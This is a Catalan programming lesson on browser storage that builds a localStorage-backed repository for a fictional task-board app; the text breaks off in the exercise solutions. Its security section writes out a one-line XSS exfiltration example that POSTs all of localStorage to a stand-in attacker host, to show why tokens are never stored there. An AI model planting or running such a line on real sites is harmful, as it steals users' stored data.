Vas acabar el Mòdul 6 prement F5 i veient com tota la feina de la Marta s'evaporava. No és una fallada del teu codi: és que fins ara Nómada Tasques vivia sencera a la memòria d'una pestanya, i aquella memòria es destrueix a cada recàrrega. En aquesta lliçó dones a l'aplicació la seva primera manera de recordar. Coneixeràs totes les opcions que ofereix el navegador per desar dades —cookies, localStorage, sessionStorage, IndexedDB i Cache API—, dominaràs la Web Storage API fins als seus racons incòmodes (només desa cadenes, és síncrona, té un límit dur i pot fallar), i construiràs js/dades/repositori-local.js, la primera peça real de la capa de dades del projecte. I per fi veuràs per a què vas escriure aquell toJSON i aquell static desDeJSON a 05-03: sense ells, desar una instància amb camps privats perdria la meitat de les dades en silenci.
Contingut
- Què significa «desar» al navegador
- Les cinc opcions, comparades
- La Web Storage API: els sis membres
- Només desa cadenes: per què
JSONno és opcional toJSONidesDeJSON, el viatge d'anada i tornada- L'origen com a frontera
localStoragedavant desessionStorage- L'esdeveniment
storage: sincronitzar dues pestanyes - Límits, quota i
QuotaExceededError - És síncron: bloqueja el fil
- Què no has de desar mai
- Versionar el format i migrar
- Nómada Tasques:
js/dades/repositori-local.js - Quan 5 MB no basten: IndexedDB i
localForage - Errors Habituals i Consells
- Exercicis
- Conclusió
- Què significa «desar» al navegador
Quan una aplicació d'escriptori desa alguna cosa, escriu un fitxer al disc. Una pàgina web no pot fer això: si qualsevol web pogués escriure on volgués al teu ordinador, el web seria inhabitable. El que el navegador ofereix en el seu lloc és un magatzem privat per lloc, gestionat per ell, amb regles estrictes sobre qui pot llegir què.
Tres idees per començar:
- El navegador és l'amo del magatzem, no la teva pàgina. Pot esborrar-lo quan li falti espai, quan l'usuari netegi dades de navegació o quan el lloc porti mesos sense visitar-se. No escriguis mai codi que doni per fet que allò desat continua allà.
- Tot emmagatzematge és local a un dispositiu i a un navegador. El que la Marta desi a Chrome no ho veurà a Firefox, ni al mòbil, ni l'Iván al seu portàtil. Compartir dades entre persones exigeix un servidor, i d'això va la lliçó següent.
- L'emmagatzematge no és una base de dades. No hi ha consultes, ni índexs, ni transaccions (llevat d'IndexedDB). És una caixa on fiques coses i de la qual les treus.
Amb això clar, el problema de Nómada Tasques es torna concret: si en acabar cada canvi escric el tauler al magatzem, i en arrencar l'aplicació intento llegir-lo abans de recórrer a dades/backlog.js, l'aplicació sobreviu a F5.
- Les cinc opcions, comparades
El navegador ofereix cinc mecanismes amb propòsits molt diferents. Triar malament és la causa de la meitat dels problemes de rendiment i de seguretat que es veuen en producció.
| Mecanisme | Capacitat típica | Persistència | Àmbit | Mode | Viatja al servidor? | Per a què serveix |
|---|---|---|---|---|---|---|
| Cookies | ~4 KB per cookie | Fins al seu Expires/Max-Age |
Origen + ruta, configurable per domini | Síncron | Sí, a cada petició | Sessió de servidor, identificació. Amb HttpOnly i Secure |
localStorage |
~5-10 MB per origen | Indefinida fins que s'esborri | Origen | Síncron | No | Preferències, esborranys, estat de la interfície |
sessionStorage |
~5-10 MB per origen | Mentre visqui la pestanya | Origen + pestanya | Síncron | No | Dades d'un assistent de diversos passos, filtres temporals |
| IndexedDB | Centenars de MB o més (segons quota) | Indefinida | Origen | Asíncron | No | Moltes dades, objectes estructurats, cerques per índex |
| Cache API | Compartida amb la quota de l'origen | Indefinida | Origen | Asíncron | No | Respostes HTTP completes per funcionar sense connexió |
Quatre conseqüències pràctiques d'aquesta taula:
- Les cookies viatgen a cada petició HTTP. Desar en una cookie les dades del tauler significaria enviar aquell JSON al servidor a cada imatge, cada CSS i cada crida a l'API. Per això les cookies es reserven per a identificadors petits.
localStorageisessionStoragesón la mateixa API amb durada diferent. Tot el que aprenguis d'una val per a l'altra.- IndexedDB és asíncron, i aquest és el seu avantatge més gran: no bloqueja la interfície. El seu cost és una API notòriament incòmoda, que gairebé ningú fa servir a pèl.
- Cache API no desa dades, desa respostes. És la peça dels service workers, i la veuràs a 07-05.
Per a Nómada Tasques, amb sis tasques i un grapat de preferències, localStorage és exactament l'eina adequada. Començar per IndexedDB seria com muntar un magatzem logístic per guardar una capsa de sabates.
- La Web Storage API: els sis membres
localStorage i sessionStorage són objectes globals que implementen la interfície Storage. La seva superfície completa cap en una taula:
| Membre | Signatura | Què fa | Si no existeix la clau |
|---|---|---|---|
setItem |
setItem(clau, valor) |
Desa (o sobreescriu) | — |
getItem |
getItem(clau) |
Llegeix | Retorna null |
removeItem |
removeItem(clau) |
Esborra una clau | No fa res, no falla |
clear |
clear() |
Esborra tot el magatzem de l'origen | — |
key |
key(index) |
Retorna el nom de la clau n-èsima | Retorna null |
length |
propietat | Quantes claus hi ha desades | — |
// Desar i llegir
localStorage.setItem('nomada:tema', 'fosc');
console.log(localStorage.getItem('nomada:tema')); // 'fosc'
// Una clau que no existeix retorna null, NO undefined
console.log(localStorage.getItem('nomada:idioma')); // null
// Recórrer tot el magatzem
console.log(localStorage.length); // 1
for (let i = 0; i < localStorage.length; i += 1) {
const clau = localStorage.key(i);
console.log(clau, '→', localStorage.getItem(clau));
}
localStorage.removeItem('nomada:tema');
// localStorage.clear(); // ✗ compte: esborra TOT l'origenTres detalls que convé fixar des del principi:
- L'absència es representa amb
null, no ambundefined. Això importa perquènull ?? valorPerDefectefunciona, però també ho faundefined ?? valorPerDefecte; en canvigetItem(...) || 'x'et trairia si el valor desat fos la cadena buida o'0'. Fes servir??o compara explícitament ambnull. clear()esborra tot l'origen, no només el que és teu. Si al mateix domini hi ha una altra pàgina que desa coses, te les emportes per davant. Per això el projecte farà servir un prefix (nomada:) i esborrarà clau a clau.- Existeix una sintaxi de propietat (
localStorage.tema = 'fosc') que funciona, però és una mala idea: xoca amb els noms dels mètodes (localStorage.length = 3no fa el que sembla) i amaga que estàs cridant una API. Fes servir sempre els mètodes.
Un conveni de noms des del minut u. Com que el magatzem és pla i compartit per tot l'origen, les claus porten espai de noms i versió:
- Només desa cadenes: per què
JSON no és opcional
JSON no és opcionalAquesta és la limitació que més maldecaps produeix. Storage només emmagatzema cadenes de text. Qualsevol altra cosa es converteix abans de desar-se, i la conversió la fa String(), amb resultats desastrosos:
localStorage.setItem('numero', 42);
console.log(localStorage.getItem('numero')); // '42' ← string
console.log(typeof localStorage.getItem('numero')); // 'string'
console.log(localStorage.getItem('numero') + 1); // '421' ← concatenació
localStorage.setItem('actiu', true);
console.log(localStorage.getItem('actiu') === true); // false ← és 'true', la cadena
localStorage.setItem('tasques', [1, 2, 3]);
console.log(localStorage.getItem('tasques')); // '1,2,3' ← s'ha perdut l'array
localStorage.setItem('tasca', { id: 6, titol: 'Pressupost' });
console.log(localStorage.getItem('tasca')); // '[object Object]' ← desastre totalAquella última línia és la fallada clàssica: l'objecte s'ha convertit amb el seu toString() per defecte i les dades han desaparegut per sempre. La solució és la que ja coneixes de 04-08:
const tasca = { id: 6, titol: 'Pressupost de la fusteria', horesEstimades: 5 };
localStorage.setItem('nomada:tasca:6', JSON.stringify(tasca)); // ← en desar
const recuperada = JSON.parse(localStorage.getItem('nomada:tasca:6')); // ← en llegir
console.log(recuperada.horesEstimades + 1); // 6 ← número de debòPerò JSON.parse llança si el text està corromput, i en un magatzem que l'usuari pot editar a mà des de les DevTools, o que va quedar a mitges d'una versió anterior de la teva aplicació, això passa. Recupera l'analitzarSegur de 04-08:
// js/util/json.js
/** Retorna l'objecte analitzat, o `perDefecte` si el text és null o no és JSON vàlid. */
export function analitzarSegur(text, perDefecte = null) {
if (text === null) return perDefecte;
try {
return JSON.parse(text);
} catch {
return perDefecte;
}
}Una dada corrompuda no ha de tombar mai l'aplicació sencera: com a molt, ha de fer que arrenqui amb el backlog inicial.
toJSON i desDeJSON, el viatge d'anada i tornada
toJSON i desDeJSON, el viatge d'anada i tornadaAquí és on el disseny de 05-03 rendeix. Una Tasca no és un objecte pla: té #estat i #hores privats i getters al prototip. Sense toJSON, JSON.stringify(tasca) produeix un objecte al qual li falten camps i no llança cap error. Amb toJSON, el resultat és complet.
I a la tornada passa el simètric: JSON.parse mai retorna instàncies. Retorna objectes plans, sense mètodes i sense getters.
import { Tasca } from '../model/tasca.js';
const tasca = new Tasca({
id: 6, titol: 'Pressupost de la fusteria', responsable: 'Iván',
prioritat: 'alta', etiquetes: ['fusteria'], horesEstimades: 5,
dataLimit: '2026-09-05', revisor: 'Marta'
});
const text = JSON.stringify(tasca); // ← fa servir toJSON(): complet
const pla = JSON.parse(text);
console.log(pla instanceof Tasca); // false
console.log(pla.oberta); // undefined ← el getter no viatja
// pla.canviarEstat('en-curs'); // ✗ TypeError: no és una funció
const viva = Tasca.desDeJSON(pla); // ← reconstrueix I revalida
console.log(viva instanceof Tasca); // true
console.log(viva.oberta); // true
console.log(viva.diesRestants); // -15El cicle complet, dibuixat:
flowchart LR
A["Tauler<br/>(instàncies vives)"] -->|"JSON.stringify · toJSON()"| B["Text JSON"]
B -->|"setItem"| C[("localStorage")]
C -->|"getItem"| D["Text JSON"]
D -->|"analitzarSegur · JSON.parse"| E["Objectes plans"]
E -->|"Tasca.desDeJSON · new Tauler"| F["Tauler<br/>(instàncies vives)"]
Recorda què es perd en aquell viatge, que ja vas inventariar a 04-08: undefined, funcions i símbols desapareixen; Date es converteix en cadena; Map, Set i NaN no sobreviuen; Infinity es torna null. El nostre model està dissenyat per a això: les dates ja són cadenes ISO ('2026-09-05'), les etiquetes ja són un array de cadenes, i no hi ha ni un Date ni un Map dins de Tasca. No va ser casualitat.
- L'origen com a frontera
Cada magatzem pertany a un origen, i un origen són tres coses juntes:
Si canvia qualsevol de les tres, és un altre magatzem diferent i no es veuen entre si:
| URL A | URL B | Mateix magatzem? | Per què |
|---|---|---|---|
https://taller.example/a |
https://taller.example/b/c |
Sí | La ruta no forma part de l'origen |
https://taller.example |
http://taller.example |
No | Protocol diferent |
https://taller.example |
https://app.taller.example |
No | Domini diferent |
http://localhost:3000 |
http://localhost:8080 |
No | Port diferent |
https://taller.example |
file:///C:/projecte/index.html |
No | file:// té el seu propi origen (sovint opac) |
Dues conseqüències molt pràctiques mentre desenvolupes:
- Obrir
index.htmlamb doble clic (file://) no és equivalent a servir-lo. A més que els mòduls ES fallen per CORS —ho vas veure a 05-04—, l'emmagatzematge es comporta de manera inconsistent. Fes servir sempre un servidor local (npx serve, l'extensió Live Server,python3 -m http.server). - Canviar de port et «esborra» les dades. No estan esborrades: són al magatzem de l'altre origen. És una font inesgotable d'ensurts.
Un <iframe> d'un altre origen incrustat a la teva pàgina accedeix al seu propi magatzem, no al teu. Aquella separació és una barrera de seguretat, no un detall tècnic.
localStorage davant de sessionStorage
localStorage davant de sessionStorageComparteixen API i difereixen només en quant duren i qui els veu:
localStorage |
sessionStorage |
|
|---|---|---|
| Durada | Fins que s'esborri explícitament | Fins que es tanqui la pestanya |
| Compartit entre pestanyes del mateix origen | Sí | No: cada pestanya té el seu |
| Sobreviu a F5 | Sí | Sí |
| Sobreviu a tancar i reobrir el navegador | Sí | No |
| Duplicar la pestanya | — | La còpia hereta el contingut |
Esdeveniment storage en altres pestanyes |
Sí | No (només entre iframes de la mateixa pestanya) |
La regla de decisió és directa: l'usuari esperaria trobar-ho demà? Si sí, localStorage. Si és una cosa d'«ara mateix», sessionStorage.
A Nómada Tasques:
// Persisteix: el tauler i les preferències de l'usuari
localStorage.setItem('nomada:tauler:v1', JSON.stringify(tauler));
localStorage.setItem('nomada:preferencies:v1', JSON.stringify({ tema: 'clar', ordre: 'prioritat' }));
// Efímer: un filtre que la Marta ha activat per mirar una cosa concreta
sessionStorage.setItem('nomada:filtre-actual', JSON.stringify({ responsable: 'Iván' }));Si la Marta filtra per l'Iván en una pestanya per revisar la seva càrrega, no voldrà trobar-se aquell filtre posat demà al matí sense saber per què. Aquest és exactament el cas de sessionStorage.
- L'esdeveniment
storage: sincronitzar dues pestanyes
storage: sincronitzar dues pestanyesLa Marta treballa amb dues pestanyes obertes: en una revisa el tauler complet i en una altra dona d'alta tasques. Si desa en una, l'altra continua mostrant dades velles. El navegador t'avisa amb l'esdeveniment storage:
window.addEventListener('storage', (esdeveniment) => {
console.log('clau:', esdeveniment.key); // 'nomada:tauler:v1'
console.log('abans:', esdeveniment.oldValue); // el JSON anterior (string o null)
console.log('ara:', esdeveniment.newValue); // el JSON nou (string o null)
console.log('origen:', esdeveniment.url); // URL de la pestanya que el va canviar
console.log('magatzem:', esdeveniment.storageArea === localStorage);
});La característica que confon tothom: storage NO es dispara a la pestanya que va fer el canvi, només a les altres del mateix origen. És intencionat —aquella pestanya ja sap què ha fet—, però fa que sembli trencat quan ho proves en una sola finestra. Obre-ho en dues pestanyes per veure-ho.
Aplicat al projecte, amb els CustomEvent de 06-04 com a pont:
// js/dades/repositori-local.js (fragment)
import { ESDEVENIMENTS, emetre } from '../vista/esdeveniments.js';
/** Avisa l'aplicació quan UNA ALTRA pestanya canvia el tauler desat. */
export function escoltarAltresPestanyes(clau, enCanviar, { signal } = {}) {
window.addEventListener('storage', (esdeveniment) => {
if (esdeveniment.key !== clau) return; // ignora altres claus de l'origen
if (esdeveniment.newValue === null) return; // algú ha netejat: decideix tu què fer
enCanviar(JSON.parse(esdeveniment.newValue));
}, { signal });
}// js/app.js
escoltarAltresPestanyes('nomada:tauler:v1', (dades) => {
const nou = Tauler.importar(JSON.stringify(dades));
vista.actualitzar({ tauler: nou });
emetre(document, ESDEVENIMENTS.TAULER_ACTUALITZAT, { origen: 'altra-pestanya' });
});Fixa't en el { signal }: és l'AbortController que va aparèixer de passada a 06-04 i que estudiaràs a fons a 07-03. Serveix per poder desconnectar l'oient després.
Per a casos més ambiciosos existeix
BroadcastChannel, un canal de missatges explícit entre pestanyes del mateix origen que no obliga a passar per l'emmagatzematge. L'esdevenimentstorageté l'avantatge que ja és on estàs desant.
- Límits, quota i
QuotaExceededError
QuotaExceededErrorEl límit habitual és d'uns 5 MB per origen per a Web Storage (alguns navegadors arriben a 10 MB). Sembla molt fins que hi deses historials o imatges en base64. I hi ha un detall que duplica el consum: les cadenes s'emmagatzemen en UTF-16, així que cada caràcter ocupa aproximadament 2 bytes.
Quan te'n passes, setItem llança una excepció:
try {
localStorage.setItem('nomada:tauler:v1', textEnorme);
} catch (error) {
// El nom estàndard modern; navegadors antics fan servir altres codis
if (error.name === 'QuotaExceededError') {
console.warn("No hi ha espai a l'emmagatzematge local.");
} else {
throw error; // no t'empassis errors que no esperaves
}
}Hi ha una segona causa de fallada que sorprèn: en mode privat / incògnit, alguns navegadors donen una quota de zero o tanquen el magatzem. En navegació amb cookies bloquejades del tot, fins i tot accedir a localStorage pot llançar SecurityError. Per això la comprovació de disponibilitat es fa així:
/** Podem escriure de debò en aquest magatzem? */
export function magatzemDisponible(tipus = 'localStorage') {
try {
const magatzem = window[tipus];
const prova = '__prova__';
magatzem.setItem(prova, prova); // escriure de debò, no només comprovar que existeix
magatzem.removeItem(prova);
return true;
} catch {
return false;
}
}No n'hi ha prou amb if ('localStorage' in window): l'objecte pot existir i tot i així fallar en escriure. Cal intentar escriure.
I què cal fer si no està disponible? No trencar mai. Degradar:
/** Reserva en memòria: la mateixa API, però només dura el que duri la pàgina. */
function magatzemEnMemoria() {
const mapa = new Map();
return {
getItem: (k) => (mapa.has(k) ? mapa.get(k) : null),
setItem: (k, v) => mapa.set(k, String(v)),
removeItem: (k) => mapa.delete(k)
};
}
const magatzem = magatzemDisponible() ? window.localStorage : magatzemEnMemoria();L'aplicació continua funcionant exactament igual; simplement no recorda res entre recàrregues. Això és millora progressiva: la persistència és una millora, no un requisit per arrencar.
Per saber quant espai hi ha realment disponible existeix la Storage API moderna:
if (navigator.storage?.estimate) {
const { usage, quota } = await navigator.storage.estimate();
console.log(`Usats ${(usage / 1048576).toFixed(2)} MB de ${(quota / 1048576).toFixed(0)} MB`);
}
- És síncron: bloqueja el fil
Aquí connecta amb el bucle d'esdeveniments de 05-07. localStorage.setItem és una operació síncrona i bloquejant: mentre escriu, el fil principal no executa res més. No pinta, no respon a clics, no processa microtasques.
Amb sis tasques és imperceptible. Amb un JSON de diversos megues desat a cada pulsació de tecla, la interfície es congela visiblement.
// ✗ Desar a cada tecla: escriu desenes de vegades per segon
campCerca.addEventListener('input', () => {
localStorage.setItem('nomada:tauler:v1', JSON.stringify(tauler)); // bloqueig repetit
});
// ✓ Esmorteït amb el debounce de 03-04 / 06-07
import { debounce } from '../util/temps.js';
const desarEsmorteit = debounce(() => repositori.desar(tauler), 500);
campCerca.addEventListener('input', desarEsmorteit);Dues regles d'higiene:
- Desa en acabar un canvi, no durant. Un
submitcompletat, un canvi d'estat, un esborrat: això són moments de desar. Cada tecla, no. - Serialitza una vegada.
JSON.stringifyd'un tauler gran també costa. No el cridis dins d'un bucle.
Si et trobes necessitant escriure molt i sovint, la resposta no és optimitzar localStorage: és canviar a IndexedDB, que és asíncron per disseny.
- Què no has de desar mai
localStorage és accessible des de qualsevol JavaScript que s'executi a la teva pàgina. Qualsevol: el teu codi, la llibreria de gràfics que vas instal·lar, l'script d'analítica, i també el codi que un atacant aconsegueixi injectar mitjançant XSS (el mateix XSS que vas estudiar a 06-02 amb innerHTML). Una sola línia n'hi ha prou per emportar-s'ho tot:
// El que un XSS executaria a la teva pàgina, si hi hagués alguna cosa per robar
fetch('https://atacant.example/robatori', { method: 'POST', body: JSON.stringify(localStorage) });| No desis | Per què | On va |
|---|---|---|
| Tokens de sessió, JWT, claus d'API | Un XSS els roba i suplanta l'usuari; no caduquen sols | Cookie HttpOnly + Secure + SameSite, gestionada pel servidor |
| Contrasenyes (en clar o xifrades al client) | La clau de desxifrat estaria al costat de la dada | Enlloc del client |
| Dades personals identificables sense base legal | El navegador no xifra res; el dispositiu pot ser compartit | Servidor, amb revisió de privacitat |
| Dades de salut, financeres o de menors | Categories especialment protegides | Mai al client sense assessorament |
| Dades que altres usuaris no haurien de veure | Un ordinador compartit ho exposa al següent usuari | Servidor amb control d'accés |
Tres advertiments que has d'interioritzar:
localStorageno està xifrat. Es veu en text pla a DevTools → Application → Local Storage, i al disc.- No caduca sol. Una cookie caduca; una clau de
localStoragecontinua allà d'aquí a dos anys si ningú no l'esborra. - Les dades personals reals exigeixen revisió legal. En un projecte real, desar al navegador noms, correus, adreces o qualsevol dada que identifiqui una persona entra en l'àmbit del RGPD i de les polítiques internes de la teva organització. Ha de passar per revisió legal i de compliance abans d'escriure's una línia, i s'ha de documentar què es desa, per què i durant quant de temps. En aquest curs l'equip del Taller Nómada —la Marta, l'Iván i la Lucía— és fictici, i desem només un nom de pila com a etiqueta d'assignació; a la teva empresa, aquella mateixa decisió no la prens tu sol.
- Versionar el format i migrar
El dia que canviïs el model —afegir un camp, reanomenar-ne un altre— les dades desades seran del format antic. Si el teu codi dona per fet el nou, l'aplicació es trenca justament per als usuaris més fidels, que són els que tenen dades.
La solució és que la dada desada digui quin format té. Per això el toJSON de Tauler que vas escriure a 05-03 ja incloïa versio: 1, i per això la clau es diu nomada:tauler:v1.
const VERSIO_ACTUAL = 2;
/** Puja un objecte desat des de qualsevol versió anterior fins a l'actual. */
function migrar(dades) {
let actual = dades;
if (actual.versio === 1) {
actual = {
...actual,
versio: 2,
tasques: actual.tasques.map((t) => ({ ...t, revisor: t.revisor ?? null })) // camp nou
};
}
// if (actual.versio === 2) { … futura migració a la 3 … }
if (actual.versio !== VERSIO_ACTUAL) {
throw new ErrorDeDades(`No sé migrar la versió ${actual.versio}.`);
}
return actual;
}Tres regles del versionatge:
- Migracions encadenades, no salts. De la 1 a la 2, de la 2 a la 3. Així només escrius cada pas una vegada, encara que l'usuari vingui de molt enrere.
- No migris mai destruint. Escriu el resultat migrat només quan la migració hagi acabat bé.
- Si no saps migrar, descarta amb elegància. Val més arrencar amb el backlog inicial i avisar, que arrencar trencat.
- Nómada Tasques:
js/dades/repositori-local.js
js/dades/repositori-local.jsAra ajuntem tot en la primera peça real de la carpeta js/dades/. El mòdul té una responsabilitat única: traduir entre el tauler viu i el magatzem de text. No sap res de DOM ni de regles de negoci.
// js/dades/repositori-local.js
import { Tauler } from '../model/tauler.js';
import { ErrorDeDades } from '../model/errors.js';
const CLAU = 'nomada:tauler:v1';
const VERSIO_ACTUAL = 1;
/** Es pot escriure de debò a localStorage? (mode privat, cookies bloquejades…) */
function magatzemDisponible() {
try {
const prova = '__nomada_prova__';
localStorage.setItem(prova, '1');
localStorage.removeItem(prova);
return true;
} catch {
return false;
}
}
/** Reserva silenciosa: la mateixa interfície, sense persistència real. */
function magatzemEnMemoria() {
const mapa = new Map();
return {
getItem: (k) => (mapa.has(k) ? mapa.get(k) : null),
setItem: (k, v) => { mapa.set(k, String(v)); },
removeItem: (k) => { mapa.delete(k); }
};
}
export class RepositoriLocal {
#magatzem;
#clau;
#persistent;
constructor({ clau = CLAU, magatzem } = {}) {
this.#clau = clau;
this.#persistent = magatzemDisponible();
this.#magatzem = magatzem ?? (this.#persistent ? window.localStorage : magatzemEnMemoria());
}
/** true si les dades sobreviuran a una recàrrega. La vista pot avisar si és false. */
get persistent() {
return this.#persistent;
}
/**
* Escriu el tauler. Retorna true si s'ha desat, false si no hi havia espai.
* No llança per falta de quota: perdre la persistència no ha de tombar l'aplicació.
*/
desar(tauler) {
try {
this.#magatzem.setItem(this.#clau, JSON.stringify(tauler)); // fa servir toJSON() de Tauler i de cada Tasca
return true;
} catch (error) {
if (error.name === 'QuotaExceededError') {
console.warn("[nomada] Sense espai a l'emmagatzematge local; els canvis no es desaran.");
return false;
}
throw error;
}
}
/**
* Llegeix el tauler desat.
* Retorna null si no hi ha res o si allò desat és inservible: qui crida decideix la reserva.
*/
carregar() {
const text = this.#magatzem.getItem(this.#clau);
if (text === null) return null;
let dades;
try {
dades = JSON.parse(text);
} catch {
console.warn('[nomada] Dades corrompudes al magatzem; es descarten.');
this.netejar();
return null;
}
if (dades?.versio !== VERSIO_ACTUAL) {
console.warn(`[nomada] Versió desconeguda (${dades?.versio}); es descarta.`);
this.netejar();
return null;
}
try {
return Tauler.importar(JSON.stringify(dades)); // reconstrueix instàncies I revalida R1-R10
} catch (error) {
if (error instanceof ErrorDeDades) {
console.warn('[nomada] El tauler desat no supera la validació:', error.message);
this.netejar();
return null;
}
throw error;
}
}
/** Esborra NOMÉS la nostra clau. Mai localStorage.clear(). */
netejar() {
this.#magatzem.removeItem(this.#clau);
}
}Quatre decisions de disseny que mereixen comentari:
carregar()retornanull, no llança. «No hi ha res desat» és una situació normal, no un error. Qui crida decideix què fer, i el que fa és caure al backlog inicial.- Qualsevol dada inservible es descarta i es neteja. És preferible perdre dades corrompudes a arrossegar-les: l'usuari veu un tauler inicial, no una pantalla en blanc.
Tauler.importarrevalida. Com que reconstrueix instàncies deTasca, totes les regles R1-R10 es tornen a comprovar. Si algú ha editat el JSON a mà a les DevTools i hi ha posathoresEstimades: 500, l'ErrorDeValidaciosalta i la dada es descarta. No confiïs mai en el que surt del magatzem.- El constructor accepta un
magatzem. Així podràs passar-li un doble al Mòdul 8 i provar el repositori sense navegador.
I la integració al punt d'entrada:
// js/app.js
import { Tauler } from './model/tauler.js';
import { crearBacklog } from './dades/backlog.js';
import { RepositoriLocal } from './dades/repositori-local.js';
import { TaulerVista } from './vista/tauler-vista.js';
import { ESDEVENIMENTS } from './vista/esdeveniments.js';
import { debounce } from './util/temps.js';
import { AVUI } from './util/dates.js';
import { $ } from './vista/dom.js';
const repositori = new RepositoriLocal();
// 1 · Allò desat mana; si no hi ha res, el backlog inicial
const tauler = repositori.carregar() ?? new Tauler('Taller Nómada', crearBacklog());
const vista = new TaulerVista({ contenidor: $('.tauler'), resum: $('#resum'), tauler, avui: AVUI });
vista.render();
// 2 · Desar quan alguna cosa canvia, esmorteït per no bloquejar el fil
const desar = debounce(() => repositori.desar(tauler), 300);
document.addEventListener(ESDEVENIMENTS.TASCA_CANVIADA, desar);
document.addEventListener(ESDEVENIMENTS.TASCA_CREADA, desar);
// 3 · Una altra pestanya de l'equip ha canviat les dades
window.addEventListener('storage', (esdeveniment) => {
if (esdeveniment.key !== 'nomada:tauler:v1') return;
const recarregat = repositori.carregar();
if (recarregat !== null) vista.actualitzar({ tauler: recarregat });
});
// 4 · Si no hi ha persistència, dir-ho en lloc de mentir
if (!repositori.persistent) {
$('#avis').textContent = 'Mode sense desament: els canvis es perdran en tancar.';
$('#avis').hidden = false;
}Desa, recarrega amb F5 i comprova-ho: el tauler torna tal com el vas deixar. La Marta pot tancar el portàtil.
Fixa't en el punt 2: l'aplicació no crida a desar des del controlador ni des de la vista. Escolta els CustomEvent que ja emeties a 06-04. La persistència s'ha afegit sense tocar una línia del model ni de les vistes, que és exactament el que promet una arquitectura per capes.
- Quan 5 MB no basten: IndexedDB i
localForage
localForageSi Nómada Tasques creixés fins a desar adjunts, un historial complet de canvis o milers de tasques, localStorage es quedaria curt per dos motius alhora: la quota i el bloqueig del fil. El següent esglaó és IndexedDB: una base de dades transaccional, orientada a objectes, amb índexs i asíncrona.
// IndexedDB a pèl: potent, però verbós i basat en esdeveniments, no en promeses
const sollicitud = indexedDB.open('nomada', 1);
sollicitud.onupgradeneeded = (esdeveniment) => {
const bd = esdeveniment.target.result;
const magatzem = bd.createObjectStore('tasques', { keyPath: 'id' });
magatzem.createIndex('per-responsable', 'responsable', { unique: false });
};
sollicitud.onsuccess = (esdeveniment) => {
const bd = esdeveniment.target.result;
const tx = bd.transaction('tasques', 'readwrite');
tx.objectStore('tasques').put({ id: 6, titol: 'Pressupost de la fusteria' });
tx.oncomplete = () => console.log('desat');
};Aquell estil amb onsuccess/onupgradeneeded és anterior a les promeses i xoca amb tot el que vas aprendre a 05-06. Per això gairebé ningú fa servir IndexedDB directament. Dos embolcalls habituals:
| Opció | Idea | Quan triar-la |
|---|---|---|
localForage |
Ofereix l'API de localStorage (getItem/setItem) però amb promeses, sobre IndexedDB, caient a Web Storage si cal |
Migrar de localStorage sense canviar el disseny |
idb |
Embolcalla IndexedDB en promeses conservant tot el seu model (transaccions, índexs, cursors) | Necessites consultes i índexs de debò |
// Amb localForage el repositori a penes canvia… tret que ara és asíncron
import localforage from 'localforage';
async desar(tauler) {
await localforage.setItem('nomada:tauler', tauler.toJSON()); // accepta objectes, sense stringify
}Fixa't en el detall important: IndexedDB (i per tant localForage) fa servir l'algorisme de clonació estructurada, el mateix de structuredClone de 04-08. Això significa que accepta objectes, Date, Map i Set sense serialitzar a text… però no accepta instàncies amb camps privats, així que continues necessitant toJSON() en desar i desDeJSON en llegir. El patró que has après continua valent.
Regla pràctica: comença per localStorage. Canvia a IndexedDB quan mesuris que et fa falta, no abans. Nómada Tasques no ho necessita.
Errors Habituals i Consells
- Desar un objecte sense
JSON.stringify. El resultat és'[object Object]'i les dades es perden sense cap error. Si en llegir veus aquella cadena, ja saps què ha passat. - Oblidar
JSON.parseen llegir.getItemsempre retorna una cadena.dades.tasques.lengthsobre una cadena donaundefinedo el nombre de caràcters, i la confusió dura hores. - Confondre
nullambundefined.getItemd'una clau inexistent retornanull. Comprova amb=== nullo fes servir??. - Fer servir
||per al valor per defecte.Number(localStorage.getItem('pagines')) || 10converteix un0legítimament desat en10. Fes servir??sobre el valor ja analitzat. - Cridar
localStorage.clear(). Esborra tot l'origen, incloses dades d'altres pàgines del mateix domini. Esborra les teves claus una a una, i per això els poses prefix. - Confiar en les dades llegides. L'usuari les pot editar a les DevTools. Valida sempre en reconstruir; per a això
Tauler.importarrevalida. - No embolcallar
setItementry/catch. Quota plena o mode privat fan que llanci, i una fallada en desar no ha de tombar la interfície. - Desar a cada pulsació de tecla. És síncron i bloqueja. Esmorteeix amb
debouncei desa en tancar operacions. - Desar tokens de sessió. És la mala pràctica més estesa i la més cara: converteix qualsevol XSS en un robatori de compte.
- Provar l'esdeveniment
storageen una sola pestanya. No es dispara a la que va fer el canvi. Obre'n dues. - Consell: fes servir prefixos i versió a les claus (
nomada:tauler:v1). Et permet llistar el que és teu, esborrar el que és teu i migrar formats sense endevinar. - Consell: inspecciona el magatzem a DevTools → pestanya Application → Local Storage. Pots veure, editar i esborrar claus a mà; és la manera més ràpida de reproduir una dada corrompuda.
- Consell: desa dades, no interfície. Desa el tauler, no l'HTML generat. L'HTML es torna a construir; les dades no.
Exercicis
Exercici 1 — Preferències amb sessionStorage i localStorage.
Escriu un mòdul js/dades/preferencies.js que exporti llegirPreferencies() i desarPreferencia(clau, valor). Les preferències són { tema: 'clar' | 'fosc', ordre: 'prioritat' | 'data', columnesCompactes: boolean }, es desen a localStorage sota 'nomada:preferencies:v1' i han de tenir valors per defecte si no hi ha res desat o si el JSON està corromput. Afegeix desarFiltreTemporal(filtre) i llegirFiltreTemporal() fent servir sessionStorage. Compte amb les preferències booleanes: false és un valor legítim.
Exercici 2 — Detectar i sobreviure a la quota plena.
Escriu una funció provarQuota() que escrigui cadenes cada vegada més grans a localStorage sota la clau '__quota__' fins que salti QuotaExceededError, informi per consola de quants KB aproximats ha acceptat el navegador i deixi el magatzem net passi el que passi. Després fes servir aquella informació per escriure desarAmbReintent(repositori, tauler, historial): si desar retorna false, retalla l'historial a la meitat i torna-ho a intentar, fins a un màxim de tres intents.
Exercici 3 — Migració de la versió 1 a la versió 2.
El model canvia: les tasques passen a tenir un camp nou bloquejadaPer (array d'ids, per defecte []) i el camp revisor passa a dir-se revisadaPer. Escriu migrar(dades) que accepti un objecte desat amb versio: 1 i en retorni un amb versio: 2 correcte, i modifica RepositoriLocal.carregar() perquè apliqui la migració, desi el resultat migrat i només llavors construeixi el tauler. Si la versió és desconeguda, s'ha de descartar com fins ara.
Solucions
Solució 1
// js/dades/preferencies.js
const CLAU_PREFS = 'nomada:preferencies:v1';
const CLAU_FILTRE = 'nomada:filtre-actual';
const PER_DEFECTE = Object.freeze({ tema: 'clar', ordre: 'prioritat', columnesCompactes: false });
function analitzarSegur(text, perDefecte) {
